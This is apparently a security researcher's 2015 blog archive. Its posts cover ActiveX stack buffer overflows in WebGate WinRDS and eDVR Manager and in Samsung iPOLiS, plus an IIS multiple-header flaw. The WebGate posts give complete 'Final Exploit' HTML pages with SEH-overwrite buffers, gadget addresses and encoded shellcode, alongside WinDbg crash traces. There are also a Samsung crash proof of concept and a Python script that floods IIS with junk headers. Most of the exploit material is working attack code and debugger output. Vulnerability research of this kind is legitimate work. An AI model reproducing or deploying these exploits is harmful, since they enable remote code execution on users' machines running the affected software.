Saturday, March 28, 2015

CVE-2015-2094: WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Remote Code Execution Vulnerability (0Day)

During PoC testing, to check stack alignment with below assignment
nseh = "DDDD";
var seh = "EEEE";

Process attachProcess attachProcess attach end(3eb4.39f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000e20 ebx=00000041 ecx=0329fc34 edx=00002711 esi=77c50041 edi=020bf1e0
eip=77c1dcbf esp=020bf178 ebp=020bf1a0 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210297
msvcrt!__wcstombs_mt+0x56:
77c1dcbf 881c07          mov     byte ptr [edi+eax],bl      ds:0023:020c0000=4d
0:008> !exchain
020bf260: 45454545
Invalid exception stack at 44444444
0:008> d 020bf260
020bf260  44 44 44 44 45 45 45 45-90 90 90 90 90 90 90 90  DDDDEEEE........
020bf270  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf280  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf290  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf2a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf2b0  90 90 90 90 90 90 90 90-41 41 41 41 41 41 41 41  ........AAAAAAAA
020bf2c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
020bf2d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:008> d fs:[0]
003b:00000000  60 f2 0b 02 00 00 0c 02-00 00 0b 02 00 00 00 00 `...............
003b:00000010  00 1e 00 00 00 00 00 00-00 60 fd 7f 00 00 00 00 .........`......
003b:00000020  b4 3e 00 00 f8 39 00 00-00 00 00 00 00 00 00 00 .>...9..........
003b:00000030  00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  f0 3c 24 e1 00 00 00 00-00 00 00 00 00 00 00 00 .<$.............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................


 Module info :
---------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
---------------------------------------------------------------------------------
 0x00870000 | 0x00ffa000 | 0x0078a000 | True   | True    | False |  False   | True   | 6.0.1 [IPPDecoder.dll] (C:\WINDOWS\system32\WESPSDK\IPPDecoder.dll)
 0x10000000 | 0x100e0000 | 0x000e0000 | False  | False   | False |  False   | True   | 1.6.42.0 [WESPPlayback.dll]
0x1007f29e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPPlayback.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll)

Final Exploit

<html>
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>
<!--
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
prototype  = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )"
progid     = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Vulnerable Product = WinRDS 2.0.8
Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
-->
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'>
</object>
<script>

var buff1 = "";
var nops = "";
var buff2 = "";

for (i=0;i<128; i++)
{
 buff1 += "B";
}

nseh = "\xeb\x08PD";
var seh = "\xa0\xf2\x07\x10";
for (i=0;i<80; i++)
{
 nops += "\x90";
}
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
 buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
ssac.StopSiteAllChannel(fbuff);

</script>
</html>

Refer below link for other WebGate exploit
http://blog.disects.com/2015/03/webgate-edvr-manager.html

Wednesday, March 25, 2015

WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (CVE-2015-2097)


WEBGATE Embedded Standard Protocol (WESP) SDK has multiple Remote Code Execution Vulnerabilities in different ActiveX controls.

Use below mona command to find pop pop ret address which creates findwild.txt at C:\Program Files\Immunity Inc\Immunity Debugger
!mona findwild -s "pop r32#*#pop r32#*#ret"

Snip of findwild.txt (addresses which I tried to use)
0x10079740 : pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x100580bd : pop ebp # pop ebx # mov dword ptr fs:[0],ecx # add esp,34 # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1007973e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1001a561 : pop ebp # mov byte ptr ds:[edx+c],1 # mov al,1 # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x10014771 : pop ebx # pop ebp # retn | ascii {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x7c915242 : pop edi # pop esi # pop ebx # pop ebp # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)

I was trying to pick calc.exe shellcode from previous exploits which somehow didn't work, might be due to presence of bad characters (assuming) so ended up in generating payload using Metasploit.


To Make sure we are pointing to shellcode modify nseh = "\xeb\x10\x90\x90"
to nseh = "\xcc\xcc\xeb\x10";
where \xcc is an opcode which acts as breakpoint.

Following "pop pop ret" address always getting modified to a different address and seeing below error in WinDBG.
0013df5c: WESPMonitor!CxImage::`copy constructor closure'+13d20 (10073f40)

0x10079740 changes to 0x10073f40
0x100580bd changes to 0x10053fbd
0x1007973e  changes to  0x10073f3e
0x7c915242  changes to  0x7c3f5242 in ntdll

After few trial and error method found below address which doesn't have problem mentioned above might be due to the bad character issue where application is considering \x80 to \x9f as bad!
0x1001a561
0x10014771
Bad characters might cause issues while executing shellcode, those characters can be found using below technique.
http://blog.disects.com/2014/04/exploitation-identifying-bad-characters.html

>u 10079740 
10079740 5e              pop     esi
10079741 32c0            xor     al,al
10079743 5b              pop     ebx
10079744 c3              ret

Final Exploit

<html>
<!--
targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype  = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid     = "WESPMONITORLib.WESPMonitorCtrl"
argCount   = 1
-->

<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";

for(i=0;i<268;i++)
{
 arg1 += "B";
}

nseh = "\xeb\x10\x90\x90";  //jmp over addr
seh = "\x71\x47\x01\x10";  //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");

for(i=0;i<200;i++)
{
 nops += "\x90";
}

//bad cahrs = 80,82-89, 8a 8b 8c, 8e, 91-99, 9a 9b 9c 9e 9f
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
 buff += "A";
}

// [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
fbuff = arg1 + nseh + seh + nops + sc  + buff;
target.LoadImage(fbuff);

</script>
</html>

Below is the stack trace at first point exception
(33c.6d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000f41 ebx=001b012c ecx=020fe0b1 edx=02100000 esi=020fd218 edi=00001f42
eip=1004ae5b esp=020fd218 ebp=020ff280 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** WARNING: Unable to verify checksum for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll - 
WESPMonitor!DllUnregisterServer+0x2094b:
1004ae5b 8802            mov     byte ptr [edx],al          ds:0023:02100000=4d
0:008> !exchain
020ff274: WESPMonitor!CAudioRenderer::CloseAudio+11a61 (10014771)
Invalid exception stack at 909010eb
0:008> d fs:[0]
003b:00000000  74 f2 0f 02 00 00 10 02-00 00 0f 02 00 00 00 00 t...............
003b:00000010  00 1e 00 00 00 00 00 00-00 50 fd 7f 00 00 00 00 .........P......
003b:00000020  3c 03 00 00 d8 06 00 00-00 00 00 00 00 00 00 00 <...............
003b:00000030  00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  70 98 8e e1 00 00 00 00-00 00 00 00 00 00 00 00 p...............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:008> u 10014771
WESPMonitor!CAudioRenderer::CloseAudio+0x11a61:
10014771 5b              pop     ebx
10014772 5d              pop     ebp
10014773 c3              ret
0:008> d 020ff274
020ff274  eb 10 90 90 71 47 01 10-90 90 90 90 90 90 90 90  ....qG..........
020ff284  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff294  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2a4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2b4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2c4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2d4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2e4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

If you continue execution after first chance exception we will be greeted with a calculator :-)

This exploit is tested on Windows XP SP3 with IE6, IE7 and IE8.
This is tested and successfully executed when DEP is enabled.

This post is incomplete if I don't thank Peter Van Eeckhoutte aka corelanc0d3r.

Next, DEP bypass!!

Metasploit: Database not connected or cache not built, using slow search

We can search metasploit modules using search command with various options but we frequently come accross error "Database not connected or cache not built, using slow search". Follow below steps to solve the issue.

msf > search cve:2015-0255                                                                      
[!] Database not connected or cache not built, using slow search

Postgresql service status when not running
root@kali-praveend:/# service postgresql status
Running clusters:

root@kali-praveend:/# service metasploit status
[FAIL] Metasploit rpc server is not running ... failed!
[FAIL] Metasploit web server is not running ... failed!
[FAIL] Metasploit worker is not running ... failed!

root@kali-praveend:/# service metasploit start                                                    
[FAIL] Postgresql must be started before Metasploit ... failed!

root@kali-praveend:/# service postgresql start                                                    
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali-praveend:/# service postgresql status                                                                                       Running clusters: 9.1/main

root@kali-praveend:/# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

msf > db_status                                                                                      
[*] postgresql connected to msf3

msf > db_rebuild_cache            
[*] Purging and rebuilding the module cache in the background...
msf >

Now we should not see the error.

Friday, March 6, 2015

Web Server/HTTP Fuzzer

Was searching for basic HTTP/Web Server Fuzzer but could not find one.
So ended by writing this quick dirty Fuzzer.

Features

Supports 40 different Request Methods
Supports around 40 Request Headers
Can send invalid request methods and headers
Fuzz Methods and Headers
Fuzz Headers with XSS String(s), blank strings, huge buffer

https://github.com/praveendhac/VulnerabilityResearch/blob/master/WebServer_Fuzzer.py

Please drop comments if you want me to add new feature(s).

Saturday, February 28, 2015

Samsung iPOLiS 1.12.2 XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC

Author: Praveen Darshanam
CVE: 2015-0555
Vulnerable File: "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype: "Function ReadConfigValue ( ByVal szKey As String ) As String"
memberName: "ReadConfigValue"
progid/ActiveX: "XNSSDKDEVICELib.XnsSdkDevice"
Operating System: Windows 7 Ultimate N SP1
Vulnerable Software: Samsung iPOLiS 1.12.2

Proof of Concept
<html>
<head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC </head>
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>
var argCount = 1;
var arg1= "";

for (i=0; i<= 4000; i++)
{
 arg1 += "A";
}
target.ReadConfigValue(arg1);

</script>
</html>
Stack Trace
Exception Code: ACCESS_VIOLATION
Disasm: 6492CE MOV AL,[EDI+EDX]

Seh Chain:
--------------------------------------------------
1 41414141

Called From                   Returns To
--------------------------------------------------
XNSSDKDEVICE.6492CE           41414141
41414141                      8ABAB41
8ABAB41                       mfc100.64BA90C1
mfc100.64BA90C1               3D39D016
FFFFFFFE                      mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 006492CE
EAX 00000408
EBX 01AD9FB0 -> 0065A564
ECX 00000414
EDX 08ABAB41
EDI 0000009C
ESI 0000009C
EBP 002DEA9C -> Asc: AAAAAAAAA
ESP 002DE7F4 -> 59D56B19 -> Asc: k k

Block Disassembly:
--------------------------------------------------
6492BD MOV ECX,EAX
6492BF XOR ESI,ESI
6492C1 MOV [EBP-298],ECX
6492C7 TEST ECX,ECX
6492C9 JLE SHORT 00649340
6492CB MOV EDX,[EBP+8]
6492CE MOV AL,[EDI+EDX]  <--- crash="" p="">6492D1 CMP AL,2F
6492D3 JNZ SHORT 00649333
6492D5 TEST EDI,EDI
6492D7 JNZ SHORT 00649304
6492D9 PUSH 80
6492DE LEA EAX,[EBP-90]
6492E4 PUSH EDI
6492E5 PUSH EAX

ArgDump:
--------------------------------------------------
EBP+8 08ABAB41
EBP+12 64BA90C1 -> EBE84589
EBP+16 3D39D016
EBP+20 FFFFFFFE
EBP+24 64AFBE5C -> CCCCCCC3
EBP+28 00000018

Stack Dump:
--------------------------------------------------
2DE7F4 19 6B D5 59 08 00 00 00 A0 EA 2D 00 10 92 64 00  [.k.Y..........d.]
2DE804 14 04 00 00 64 65 C4 64 00 00 00 00 00 00 00 00  [....de.d........]
2DE814 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]
2DE824 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]
2DE834 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]

Exception Code: ACCESS_VIOLATION
Disasm: 41414141 ?????

Seh Chain:
--------------------------------------------------
1 41414141

Called From                   Returns To
--------------------------------------------------
ntdll.77B670B4                ntdll.77BDAB1A
ntdll.77BDAB1A                ntdll.77BB0404
ntdll.77BB0404                ntdll.77B3F956
ntdll.77B3F956                ntdll.77B67017
ntdll.77B67017                41414141
41414141                      8ABAB41
8ABAB41                       mfc100.64BA90C1
mfc100.64BA90C1               3D39D016
FFFFFFFE                      mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 77B670B4 -> C0000005
EAX 002DE0EC -> C0000005
EBX 41414141
ECX 41414141
EDX 00000000
EDI 00000000
ESI 002DE0EC -> C0000005
EBP 002DE0D8 -> 002DE40C
ESP 002DE088 -> 77B662A4


Block Disassembly:
--------------------------------------------------
77B6709C MOV [ESP+8],EBX
77B670A0 JMP 77B837AD
77B670A5 LEA ESP,[ESP]
77B670AC LEA ESP,[ESP]
77B670B0 MOV EDX,ESP
77B670B2 SYSENTER
77B670B4 RETN  <--- crash="" p="">77B670B5 LEA ESP,[ESP]
77B670BC LEA ESP,[ESP]
77B670C0 LEA EDX,[ESP+8]
77B670C4 INT 2E
77B670C6 RETN
77B670C7 NOP
77B670C8 PUSH EBP
77B670C9 MOV EBP,ESP


ArgDump:
--------------------------------------------------
EBP+8 002DE0EC -> C0000005
EBP+12 002DE13C -> 00000000
EBP+16 00000000
EBP+20 C0000005
EBP+24 00000001
EBP+28 00000000

P.S. CERT tried to coordinate but there wasn't any response from Samsung

CVE-2010-2730: Microsoft IIS Request Header Buffer Overflow Vulnerability

Writing Proof of Concept based on information available on various sites.
Checkpoint details the Vulnerability as

"The vulnerability is due to a heap buffer overflow error when processing unexpected number of headers in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to a target server. Successful exploitation would allow an attacker to inject and execute arbitrary code on the target system with the security privileges of the IIS Worker process."

Configuring FastCGI for IIS 7.5
Browse to
    Control Panel -> Programs and Features 
click "Turn Windows features on or off" and follow the path shown below.
Note: I also tried enabling only CGI and un checking all the other checkboxes given below.


Install Administrator pack for IIS 7.5 after installing the pack click on start and type IIS you will see Internet Information Services (IIS Manager), clicking on it will take you to below window.

Configure FastCGI as shown below

If you feel configuration didn'g go fine you can configure and verify the same using CLI.
appcmd.exe is found at
%windir%\system32\inetsrv\


If FastCGI installation is successful accessing
http://localhost/phpinfo.cgi
should show below page. I created the page phpinfo.php under
C:\Inetpub\wwwroot\
make sure the directory has proper permissions.

Proof of Concept
#!/usr/bin/python

import os, sys
import urllib2

def main(all_args):
    print "in main"
    if len(all_args) != 3:
        print "invalid args"
        print "usage:\n\t%s server_ip_addr http_port"%(all_args[0])
        sys.exit();
    headers = {"Host":all_args[1],
                "Accept": "text/html,application/xhtml+xml,application/xml",
                "Accept-Language": "en-us",
                "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
                "Keep-Alive": "115",
                "Connection": "keep-alive"}

    for k,v in headers.items():
        print (k, v)

    #create junk headers
    print "Creating junk Request Headers"
    for i in range(1,400):
        junk_header = "My-Name" + str(i)
        value = "Praveen Darshanam" + str(i)
        headers.update({junk_header: value})

    url = "http://" + all_args[1] + ":" + all_args[2] + "/phpinfo.php"
    #url = "http://" + all_args[1] + "/info.php"
    print "url: " + url
    #data = "From Praveen Darshanam"
    #req = urllib2.Request(url, data, headers)
    req = urllib2.Request(url, None, headers)
    response = urllib2.urlopen(req)
    print "Response Length =" + str(len(response.read()))

if __name__ == "__main__":
    print "sys.argv=" + str(sys.argv)
    main(sys.argv)

Usage
./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py server_ip_addr http_port
praveend@praveend-VirtualBox:~$
$ ./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py 192.168.56.110 80
sys.argv=['./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py', '192.168.56.110', '80']
in main
('Accept-Language', 'en-us')
('Connection', 'keep-alive')
('Accept', 'text/html,application/xhtml+xml,application/xml')
('Keep-Alive', '115')
('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
('Host', '192.168.56.110')
Creating junk Request Headers
url: http://192.168.56.110:80/phpinfo.php
Response Length =119639

Exploit Traffic


I didn't see any crash after sending multiple fake headers, not sure if I interpreted the Vulnerability in correct manner.

References
https://technet.microsoft.com/en-us/library/dd239230(v=ws.10).aspx
http://www.iis.net/configreference/system.webserver/fastcgi
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2730
http://www.checkpoint.com/defense/advisories/public/2013/cpai-03-dec2.html
http://www.juniper.net/security/auto/vulnerabilities/vuln4476.html
https://technet.microsoft.com/library/security/ms10-065